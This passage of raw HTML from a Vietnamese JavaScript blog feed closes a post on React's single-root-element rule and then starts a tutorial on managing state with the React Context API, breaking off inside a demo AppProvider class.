punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Animals:</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Animals</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Như vậy, mình đã trình bày xong về lý do tại sao React yêu cầu render single DOM element. Và một số cách giúp bạn khắc phục lỗi trên, đó là:</p> <ul> <li>Sử dụng thêm một cặp thẻ đóng gói các Elements</li> <li>Sử dụng React.Fragment</li> <li>Sử dụng &#x3C;>&#x3C;/></li> <li>Render một mảng các Elements</li> </ul> <p>Ngoài các cách làm trên, bạn còn biết cách nào khác nữa không? Nếu biết thì chia sẻ với mình và mọi người nhé!</p> <p>Xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Quản lý state trong React với React Context API]]><![CDATA[Bình thường bạn quản lý state trong React bằng cách nào? Đặt chúng trong Component gốc rồi truyền property từ Component cha sang Component con? Hay sử dụng một thư viện vô cùng…]]>https://completejavascript.com/quan-ly-state-react-voi-react-context-api/https://completejavascript.com/quan-ly-state-react-voi-react-context-api/<![CDATA[React State]]>Wed, 01 Aug 2018 22:30:23 GMT<p>Bình thường bạn quản lý state trong React bằng cách nào? Đặt chúng trong Component gốc rồi truyền property từ Component cha sang Component con? Hay sử dụng một thư viện vô cùng quen thuộc, đó là <a href="https://redux.js.org/">Redux</a>? Thật lòng mà nói thì mình chưa từng sử dụng Redux bao giờ. Mình mới chỉ tìm hiểu qua về concept của nó thôi. Nhưng khi áp dụng, mình thấy Redux khá phức tạp. Do đó, mình quyết định sẽ không sử dụng Redux nữa. Và điều này lại càng được khẳng định khi <strong>React Context API</strong> (version mới) được chính thức support ở <a href="https://github.com/facebook/react/blob/master/CHANGELOG.md#1630-march-29-2018">React phiên bản 16.3</a>. Vì vậy, bài viết này sẽ tìm hiểu về React Context API và cách sử dụng nó để quản lý state trong React.</p> <h2 id="react-context-api-cơ-bản" style="position:relative;"><a href="#react-context-api-c%C6%A1-b%E1%BA%A3n" aria-label="react context api cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>React Context API cơ bản</h2> <p>Theo như thông tin <a href="https://reactjs.org/docs/context.html">trang chủ Reactjs</a> thì:</p> <blockquote> <p>Context provides a way to pass data through the component tree without having to pass props down manually at every level.</p> </blockquote> <p>Điều đó có nghĩa là bạn có thể truyền các props đến một Component bất kỳ mà không cần phải truyền thủ công tại mọi Component.</p> <p>Để làm rõ sự khác nhau khi sử dụng React Context API với cách quản lý state thông thường, mời bạn theo dõi ví dụ dưới đây.</p> <p>Giả sử mình có 3 component (A, B, C) với quan hệ là: component A chứa component B và component B chứa component C.</p> <h3 id="cách-quản-lý-state-thông-thường" style="position:relative;"><a href="#c%C3%A1ch-qu%E1%BA%A3n-l%C3%BD-state-th%C3%B4ng-th%C6%B0%E1%BB%9Dng" aria-label="cách quản lý state thông thường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách quản lý state thông thường</h3> <p>Nếu quản lý state theo cách thông thường thì tất cả biến state mình phải đặt trong component A. Sau đó, mình phải truyền props sang B, rồi từ B sang C.</p> <p>Kể cả trong trường hợp component B không cần sử dụng đến các thuộc tính này, mà chỉ component C cần thôi, thì mình vẫn phải truyền chúng xuống B. Chứ mình không thể truyền trực tiếp từ A đến C.</p> <p>Ngược lại, khi cần cập nhật state từ C lên A, mình cũng cần phải cập nhật từ C lên B, rồi mới cập nhật từ B lên A được.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.36363636363636%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABnUlEQVQoz42SzW7TQBSFreap2PMeqJuKHQ/BO8COdygsQMqaBWuqKFEIbagQdqgzGY/tse/fQWM5xRJGcKXjGenM/XTGdzJVvVDVTFWfmNkbVX0F4PV/Kp1NPS8AZEmZmS3MLBOR5wAQY4vPNzfY7/fYbrfYbDb4utvh9u4Ouy9brNdrrFarYU2eqAJmn+aAz8wMZtYxMyWJCLWxo9JV5HxNPrQkwpQq+UQUx573c8DL0RRLm7GajlGUHq5q4EIES7IebUkfVV3OAocTIlIUhR2KAj40Q+uPn6dB6Xpt7HE4FMjzHM45GUP8CVTVyzGYTCOUPuJ7UeLBVcjLAGLFpP6dUEXEuaN571G3HdSA+/yIb/kRLIrYE7w/pXSoqurvCc/A9A/rurYQAnoi1JHw4ALqJuIUIogFbduirms0TTMDVF2kdzhMWSURewB8Vk/CPrQcmsht7HnqAejHK3+YAGVhKpmKXBn3MKE0GDDzsKrqIPwePMZUOD8GM/v4CGSiCybKiPqnQt1SiK5Z5C0zv5tKROZ0LSJLZn55Bv4CmBYdsSdgfV8AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Theo cách thông thường A và C muốn giao tiếp thì phải thông qua B" title="Theo cách thông thường A và C muốn giao tiếp thì phải thông qua B" src="/static/b32b0875fb84c810d0aa07b66378d4b0/7c811/react-context-api-quan-ly-state-theo-cach-thong-thuong-completejavascript.com_.png" srcset="/static/b32b0875fb84c810d0aa07b66378d4b0/103f2/react-context-api-quan-ly-state-theo-cach-thong-thuong-completejavascript.com_.png 165w, /static/b32b0875fb84c810d0aa07b66378d4b0/748ba/react-context-api-quan-ly-state-theo-cach-thong-thuong-completejavascript.com_.png 330w, /static/b32b0875fb84c810d0aa07b66378d4b0/7c811/react-context-api-quan-ly-state-theo-cach-thong-thuong-completejavascript.com_.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Thử tưởng tượng bạn đang có hàng chục component khác nhau. Nếu mà cứ truyền props với cập nhật state như thế này thì quả thật sẽ rất lằng nhằng và thừa code không cần thiết.</p> <p>Đó là lý do, React Context API đã ra đời để giải quyết vấn đề này!</p> <h3 id="cách-quản-lý-state-với-react-context-api" style="position:relative;"><a href="#c%C3%A1ch-qu%E1%BA%A3n-l%C3%BD-state-v%E1%BB%9Bi-react-context-api" aria-label="cách quản lý state với react context api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách quản lý state với React Context API</h3> <p>Ý tưởng của React Context API là nó sẽ tập trung dữ liệu vào một nơi. Sau đó, nó cung cấp cơ chế cho phép mỗi component có thể lấy state cũng như cập nhật state trực tiếp tại đó mà không cần qua các component trung gian.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 62.42424242424243%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACJ0lEQVQoz22S2U7cQBBFrfBEfiCfk1dGvDFSlO8Oi4JnBmWAoMF46a2q975RNyESYVq6tlVyn7q1dCGEzhjTPT09fQYwWCZcXl1hv9+j7ze4u7vDZrPBbd9jv79v333ft/ciBOqJMXzPOXcppZOuAgFUnRK7n8pYzEJ7qTku0sRhnOM4yziMSzwMU1ykjkJTVMYGTdZrcnDOX1jnO+v8e+CiaBtTrknbI4SA6+sb7HY77HZb/Li8BDE3VynnUv/TZLFIs36eZKcMvwdOwmylYUhjs9AMsh5kA0ZBmCRDs28xRRaTpGLY5UkaKE3rSeiPQKl5i9eTrU/IpUCTxyQ0iC0WxYipwMcMF1JzWBO8OdT/A4Wirfe+9iT7mFBKadCHw9wU/sZSLnA+lpxTlpohNK3H5YjDcZHbfrPBOM+ZXWwXa5mPhwkvs8SsGCFmxAw8v8zl4eE+j7OEJrcW2n4EVofWORSgOWy154LDKPE8qX8OSwE02eK9y+xC3Yr1cGwoUvOmQkopOcQ2xRJiKsOkyixNYRcaL+dSYiqth4Zd6+FR4CKpty7AhxiN9YldSLPk9HtY0jCrNMy6xYwNyfqQQkyx9VDRxcusXoHe+w5IHUo4dT481qlxlQtg51ETvK6PR3WjiWHI1pKhTV0tV/f1Wwix8z6cdNM0dbtf993N7faTMfqrYzq3TGeWzepNjmnlLK2Y9MoYtaImvWKjz8jo82VZvgghuqo/yAlP4fuVe4oAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Với React Context API, số lượng phần tử bao nhiêu cũng không thành vấn đề" title="Với React Context API, số lượng phần tử bao nhiêu cũng không thành vấn đề" src="/static/6c0cbe51556b6c48aaa4b2d50e6e7acb/7c811/react-context-api-quan-ly-state-voi-react-context-api-completejavascript.com_.png" srcset="/static/6c0cbe51556b6c48aaa4b2d50e6e7acb/103f2/react-context-api-quan-ly-state-voi-react-context-api-completejavascript.com_.png 165w, /static/6c0cbe51556b6c48aaa4b2d50e6e7acb/748ba/react-context-api-quan-ly-state-voi-react-context-api-completejavascript.com_.png 330w, /static/6c0cbe51556b6c48aaa4b2d50e6e7acb/7c811/react-context-api-quan-ly-state-voi-react-context-api-completejavascript.com_.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>So với cách quản lý state thông thường, mình thấy cách này có ưu, nhược điểm là:</p> <ul> <li><strong>Ưu điểm</strong>: hạn chế lặp lại code, hạn chế việc truyền props không cần thiết và quản lý state dễ dàng hơn.</li> <li><strong>Nhược điểm</strong>: khó tái sử dụng component vì state tập trung tại một chỗ, tương tự như việc bạn sử dụng biến toàn cục vậy.</li> </ul> <p>Như vậy là mình đã tìm hiểu về cơ chế làm việc của React Context API xong rồi. Tiếp theo là các API có thể sử dụng với React Context.</p> <h2 id="tìm-hiểu-các-api-của-react-context" style="position:relative;"><a href="#t%C3%ACm-hi%E1%BB%83u-c%C3%A1c-api-c%E1%BB%A7a-react-context" aria-label="tìm hiểu các api của react context permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tìm hiểu các API của React Context</h2> <h3 id="reactcreatecontext" style="position:relative;"><a href="#reactcreatecontext" aria-label="reactcreatecontext permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>React.createContext</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> MyContext <span class="token operator">=</span> React<span class="token punctuation">.</span><span class="token function">createContext</span><span class="token punctuation">(</span>defaultValue<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đây là API đầu tiên <strong>bắt buộc</strong> phải sử dụng. API này sẽ tạo mới một <a href="/object-la-gi-object-trong-javascript/">object</a> đóng vai trò là Context. Và khi một component đăng ký sử dụng Context này thì nó sẽ đọc giá trị context từ <strong>Provider</strong> gần nhất.</p> <p>Ngược lại, khi bên ngoài nó không có một <strong>Provider</strong> nào thì giá trị của context sẽ ứng với giá trị <strong>defaultValue</strong> bên trên.</p> <h3 id="contextprovider" style="position:relative;"><a href="#contextprovider" aria-label="contextprovider permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Context.Provider</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token operator">&lt;</span>MyContext<span class="token punctuation">.</span>Provider value<span class="token operator">=</span><span class="token punctuation">{</span><span class="token comment">/* some value */</span><span class="token punctuation">}</span><span class="token operator">></span></code></pre></div> <p>Với mỗi một đối tượng Context sẽ tồn tại một đối tượng Provider. Đối tượng này có một property là <strong>value</strong>. Giá trị của <strong>value</strong> được hiểu là giá trị của Context.</p> <p>Mỗi khi giá trị của <strong>value</strong> này thay đổi thì các thành phần bên trong Provider này sẽ bị render lại. Vì vậy, giá trị của <strong>value</strong> sẽ tương ứng là state của chương trình.</p> <h3 id="classcontexttype" style="position:relative;"><a href="#classcontexttype" aria-label="classcontexttype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Class.contextType</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">MyClass</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> value <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>context<span class="token punctuation">;</span> <span class="token comment">/* perform a side-effect at mount using the value of MyContext */</span> <span class="token punctuation">}</span> <span class="token function">componentDidUpdate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> value <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>context<span class="token punctuation">;</span> <span class="token comment">/* ... */</span> <span class="token punctuation">}</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> value <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>context<span class="token punctuation">;</span> <span class="token comment">/* ... */</span> <span class="token punctuation">}</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> value <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>context<span class="token punctuation">;</span> <span class="token comment">/* render something based on the value of MyContext */</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> MyClass<span class="token punctuation">.</span>contextType <span class="token operator">=</span> MyContext<span class="token punctuation">;</span></code></pre></div> <p>Nếu như hai API trên là để khởi tạo Context và truyền giá trị cho Context thì API này dùng để sử dụng giá trị của Context.</p> <p>Ở đây, thuộc tính <strong>contextType</strong> được gán giá trị là <strong>MyContext</strong> - thành phần được khởi tạo bởi <em>React.createContext()</em> bên trên.</p> <p>Sau đó, mình có thể truy cập đến giá trị của Context thông qua <strong>this.context</strong> ở bất kỳ phương thức nào thuộc <a href="/tim-hieu-react-component-lifecycle/">React Lifecycle</a> và cả phương thức <strong>render()</strong> nữa.</p> <h3 id="contextconsumer" style="position:relative;"><a href="#contextconsumer" aria-label="contextconsumer permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Context.Consumer</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token operator">&lt;</span>MyContext<span class="token punctuation">.</span>Consumer<span class="token operator">></span> <span class="token punctuation">{</span><span class="token parameter">value</span> <span class="token operator">=></span> <span class="token comment">/* render something based on the context value */</span><span class="token punctuation">}</span> <span class="token operator">&lt;</span><span class="token operator">/</span>MyContext<span class="token punctuation">.</span>Consumer<span class="token operator">></span></code></pre></div> <p>Tương tự <strong>Class.contextType</strong>, API này giúp sử dụng giá trị của Context. Tuy nhiên hơi khác một chút là API này chỉ sử dụng ở phần JSX.</p> <p>Trong đó, <strong>value</strong> chính là giá trị của Context. Và dĩ nhiên, khi bên ngoài component hiện tại không có Provider nào thì <strong>value</strong> chính là <strong>defaultValue</strong>.</p> <p>Trên đây là những thông tin cơ bản về các API của React Context. Tiếp theo, mình sẽ làm một ví dụ cụ thể để demo cho các API này.</p> <h2 id="ví-dụ-demo-sử-dụng-react-context-api" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-demo-s%E1%BB%AD-d%E1%BB%A5ng-react-context-api" aria-label="ví dụ demo sử dụng react context api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ Demo sử dụng React Context API</h2> <h3 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h3> <p>Ở đây mình sử dụng <a href="https://codesandbox.io">CodeSanbox.io</a> để làm Demo. Tuy nhiên, bạn cũng có thể sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để làm ví dụ ngay trên máy tính.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <blockquote> <p><strong>Chú ý</strong>: React Context API chính thức được hỗ trợ trên phiên bản React 16.3. Vì vậy, bạn cần phải sử dụng phiên bản React >= 16.3. Để đơn giản, bạn có thể nâng cấp React lên phiên bản mới nhất luôn bằng câu lệnh sau:</p> </blockquote> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token function">install</span> --save react@latest <span class="token function">npm</span> <span class="token function">install</span> --save react-dom@latest</code></pre></div> <a href="https://vqlrp2xry3.codesandbox.io/" class="btn btn-primary margin-bottom"> Xem Demo </a> <a href="https://codesandbox.io/s/vqlrp2xry3" class="btn btn-primary margin-bottom"> Xem code </a> <h3 id="kịch-bản-demo" style="position:relative;"><a href="#k%E1%BB%8Bch-b%E1%BA%A3n-demo" aria-label="kịch bản demo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kịch bản Demo</h3> <p>Ở ví dụ này, mình có 3 Component là: Red, Blue và Green - theo đúng thứ tự component Red chứa component Blue và component Blue chứa component Green.</p> <p>Component Red và Green hiển thị giá trị của state - number. Component Blue chứa 2 button để thay đổi giá trị state (tăng hoặc giảm 1 đơn vị).</p> <p>Với mỗi component, mình sẽ sử dụng một cách khác nhau để đọc giá trị của context. Và sau đây là cách mình triển khai code.</p> <h3 id="khởi-tạo-context" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-context" aria-label="khởi tạo context permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Context</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> AppContext <span class="token operator">=</span> React<span class="token punctuation">.</span><span class="token function">createContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây mình không sử dụng giá trị <strong>defaultValue</strong> vì mình luôn sử dụng Provider.</p> <h3 id="định-nghĩa-appprovider" style="position:relative;"><a href="#%C4%91%E1%BB%8Bnh-ngh%C4%A9a-appprovider" aria-label="định nghĩa appprovider permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Định nghĩa AppProvider</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">AppProvider</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token function-variable function">inc</span><span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>number <span class="token operator">+</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">dec</span><span class="token 